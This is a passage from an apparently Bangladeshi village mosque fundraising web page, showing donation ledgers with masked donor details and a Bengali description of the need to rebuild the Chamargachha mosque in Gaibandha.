&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14-01-2026&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;DAE44DQACE&lt;/td&gt;
&lt;td&gt;014******88&lt;/td&gt;
&lt;td&gt;1020&lt;/td&gt;
&lt;td&gt;1,99,320&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10-01-2026&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;1,98,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-12-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;1,97,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-11-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;290&lt;/td&gt;
&lt;td&gt;1,96,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-11-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,96,010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-11-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,95,510&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03-11-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;1,95,010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJP8KL1YRA&lt;/td&gt;
&lt;td&gt;015******12&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,94,010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJP0KIALFG&lt;/td&gt;
&lt;td&gt;017******72&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;1,93,510&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJO2JIM4TK&lt;/td&gt;
&lt;td&gt;015******73&lt;/td&gt;
&lt;td&gt;510&lt;/td&gt;
&lt;td&gt;1,93,310&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJM4HFZ8M2&lt;/td&gt;
&lt;td&gt;017******03&lt;/td&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;td&gt;1,92,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK6G0KVKE&lt;/td&gt;
&lt;td&gt;018******89&lt;/td&gt;
&lt;td&gt;1020&lt;/td&gt;
&lt;td&gt;1,89,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;18538005201&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,88,780&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;XXXXXXX6401&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,88,280&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK7FO5SX7&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,87,780&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK7FJ1YYJ&lt;/td&gt;
&lt;td&gt;017******94&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,87,280&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK2FGSWVK&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;5000&lt;/td&gt;
&lt;td&gt;1,86,780&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK4FFECS0&lt;/td&gt;
&lt;td&gt;015******86&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;1,81,780&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJK8FEECH6&lt;/td&gt;
&lt;td&gt;019******58&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,79,780&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ3FBVQO1&lt;/td&gt;
&lt;td&gt;019******16&lt;/td&gt;
&lt;td&gt;220&lt;/td&gt;
&lt;td&gt;1,79,280&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ8FBPPPW&lt;/td&gt;
&lt;td&gt;019******97&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;1,79,060&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ8FAVBN8&lt;/td&gt;
&lt;td&gt;018******93&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;1,78,860&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ0FAPDUW&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,78,810&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ7FAOV7Z&lt;/td&gt;
&lt;td&gt;016******01&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,78,310&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-10-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;CJJ3FAJXEH&lt;/td&gt;
&lt;td&gt;015******37&lt;/td&gt;
&lt;td&gt;510&lt;/td&gt;
&lt;td&gt;1,77,810&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;strong&gt;View More Payment Info&lt;/strong&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Account/Phone&lt;/th&gt;
&lt;th&gt;Amount (BDT)&lt;/th&gt;
&lt;th&gt;Cumulative&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;05-10-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;1,77,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03-09-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;1,76,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;01-09-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,75,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11-08-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;6000&lt;/td&gt;
&lt;td&gt;1,74,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08-07-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K**&lt;/td&gt;
&lt;td&gt;017******81&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,68,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18-05-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;***6401&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,68,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-05-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;1,500&lt;/td&gt;
&lt;td&gt;1,67,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25-04-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;***6401&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,66,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-04-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;019***81&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;1,65,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-04-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;1,65,750&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;017***85&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;1,64,750&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;018***94&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,64,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,64,200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;Bela Begum&lt;/td&gt;
&lt;td&gt;018***06&lt;/td&gt;
&lt;td&gt;5,100&lt;/td&gt;
&lt;td&gt;1,63,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;td&gt;1,58,600&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;I***&lt;/td&gt;
&lt;td&gt;017***34&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;1,58,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18-03-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;280***001&lt;/td&gt;
&lt;td&gt;1,500&lt;/td&gt;
&lt;td&gt;1,57,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18-03-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;J***&lt;/td&gt;
&lt;td&gt;***5301&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,55,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;A***&lt;/td&gt;
&lt;td&gt;016***66&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,55,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18-03-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,54,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***55&lt;/td&gt;
&lt;td&gt;15,300&lt;/td&gt;
&lt;td&gt;1,54,300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-03-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;J***&lt;/td&gt;
&lt;td&gt;017***03&lt;/td&gt;
&lt;td&gt;1,500&lt;/td&gt;
&lt;td&gt;1,39,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;***5001&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;1,37,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;J***&lt;/td&gt;
&lt;td&gt;017***03&lt;/td&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;1,36,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08-02-2025&lt;/td&gt;
&lt;td&gt;NRBC&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;1,31,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;1,21,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;1,20,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;Check&lt;/td&gt;
&lt;td&gt;Startise&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;40,000&lt;/td&gt;
&lt;td&gt;1,20,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;80,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;79,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;J***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;79,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;2,000&lt;/td&gt;
&lt;td&gt;78,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;F***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;3,000&lt;/td&gt;
&lt;td&gt;76,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;J***&lt;/td&gt;
&lt;td&gt;017***03&lt;/td&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;73,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;68,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;O***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;58,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1500&lt;/td&gt;
&lt;td&gt;57,500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;56,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04-02-2025&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;5000&lt;/td&gt;
&lt;td&gt;55,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;F***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;2235&lt;/td&gt;
&lt;td&gt;50,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;018***06&lt;/td&gt;
&lt;td&gt;2040&lt;/td&gt;
&lt;td&gt;47,765&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;B***&lt;/td&gt;
&lt;td&gt;017***21&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;45,725&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;R***&lt;/td&gt;
&lt;td&gt;019***66&lt;/td&gt;
&lt;td&gt;1025&lt;/td&gt;
&lt;td&gt;44,725&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;01-02-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;016***81&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;43,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30-01-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;T***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;42,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;F***&lt;/td&gt;
&lt;td&gt;017***55&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;41,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;N***&lt;/td&gt;
&lt;td&gt;18***01&lt;/td&gt;
&lt;td&gt;15,000&lt;/td&gt;
&lt;td&gt;31,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;L***&lt;/td&gt;
&lt;td&gt;18***01&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;16,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;Nagad&lt;/td&gt;
&lt;td&gt;F***&lt;/td&gt;
&lt;td&gt;016***26&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;td&gt;15,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;016***85&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;15,400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;N***&lt;/td&gt;
&lt;td&gt;017***99&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;14,900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;K***&lt;/td&gt;
&lt;td&gt;017***81&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;13,900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29-01-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;M***&lt;/td&gt;
&lt;td&gt;18***01&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;12,900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23-01-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;A***&lt;/td&gt;
&lt;td&gt;019***481&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;12,400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23-01-2025&lt;/td&gt;
&lt;td&gt;Rocket&lt;/td&gt;
&lt;td&gt;H***&lt;/td&gt;
&lt;td&gt;016*******691&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;12,200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23-01-2025&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;A***&lt;/td&gt;
&lt;td&gt;017*******415&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;11,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23-01-2025&lt;/td&gt;
&lt;td&gt;Bank&lt;/td&gt;
&lt;td&gt;S***&lt;/td&gt;
&lt;td&gt;***&lt;/td&gt;
&lt;td&gt;11,500&lt;/td&gt;
&lt;td&gt;11,500&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;strong&gt;মসজিদ সম্পর্কে জানুন&lt;/strong&gt;
&lt;p&gt;আমাদের গ্রামের নাম চামরগাছা। এটি গাইবান্ধা জেলার গোবিন্দগঞ্জ উপজেলায় অবস্থিত।&lt;/p&gt;
&lt;p&gt;Google Map Location: &lt;a href=&quot;https://maps.app.goo.gl/VCvYYSnFqu19mEzw6&quot;&gt;https://maps.app.goo.gl/VCvYYSnFqu19mEzw6&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;আমাদের গ্রামের মাসজিদটি অনেক দিন আগে বানানো। ভবনটি ঝুঁকিপূর্ণ হওয়ায় এবং গ্রামের মানুষের স্থান সংকুলান না হওয়ায় আমরা নতুন একটি মাসজিদ বানানোর প্রয়োজনীয়তা অনুভব করি।&lt;/p&gt;
&lt;p&gt;আমাদের দাদা অনেক বড় একটি জমি দান করেছেন নতুন মাসজিদ বানানোর জন্য। আল্লাহ্‌ যেন তাদের দানকে কবুল করে নেন। নতুন জমিতে পুকুর থাকায় আমরা সবাই মিলে পুকুরটি ভরাট করার ব্যবস্থা করি।&lt;/p&gt;
&lt;p&gt;এরপর দ্রুত আমরা পুরাতন মাসজিদটি ভেঙ্গে নতুন মাসজিদ করার জন্য জমি প্রস্তুত করি।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;বর্তমানে আমরা একটি ছাপরা দেওয়া অস্থায়ী মাসজিদে সালাত আদায় করছি।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;আমাদের গ্রামের অধিকাংশ মানুষ দারিদ্র্য সীমার নিচে অবস্থান করেন। তাদের পক্ষে মাসজিদ বানানোর ব্যয় বহন করা সম্ভব না হওয়ায় মাসজিদের কাজ শুরু করা সম্ভব হচ্ছে উল্লেখযোগ্য ভাবে।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
